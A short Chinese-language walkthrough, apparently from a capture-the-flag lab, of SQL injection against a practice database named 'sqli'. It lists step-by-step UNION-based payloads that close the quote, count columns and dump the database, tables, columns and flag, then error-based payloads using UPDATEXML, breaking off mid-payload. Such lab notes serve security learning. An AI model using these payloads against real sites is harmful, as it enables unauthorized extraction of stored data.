!
字符型注入
1. 输入1:1被引起
1
2. ’ 提前闭合
?id=1’ and 1=1–+
3. 求列数
?id=1’ order by 2–+
4. 求数据库名
?id=-1' union select database(),2--+
5. 求表名
?id=-1' union select group_concat(table_name) ,2 from information_schema.tables where table_schema='sqli' --+
数据库名是sqli
6. 求列名
表名是flag
?id=-1' union select group_concat(column_name) ,2 from information_schema.columns where table_name='flag' --+
7. 求字段
列名flag
?id=-1' union select group_concat(flag) ,2 from sqli.flag --+
报错注入
1.输入1
2. 求数据库
UPDATEXML (XML_document, XPath_string, new_value);
?id=1 and 1=(updatexml(1,concat(0x7e,database(),0x7e),1))
3.求表名
?id=1 and 1=(updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema='sqli')),1))
4.求列名
?id=1 and 1=(updatexml(1,concat(0x7e,(select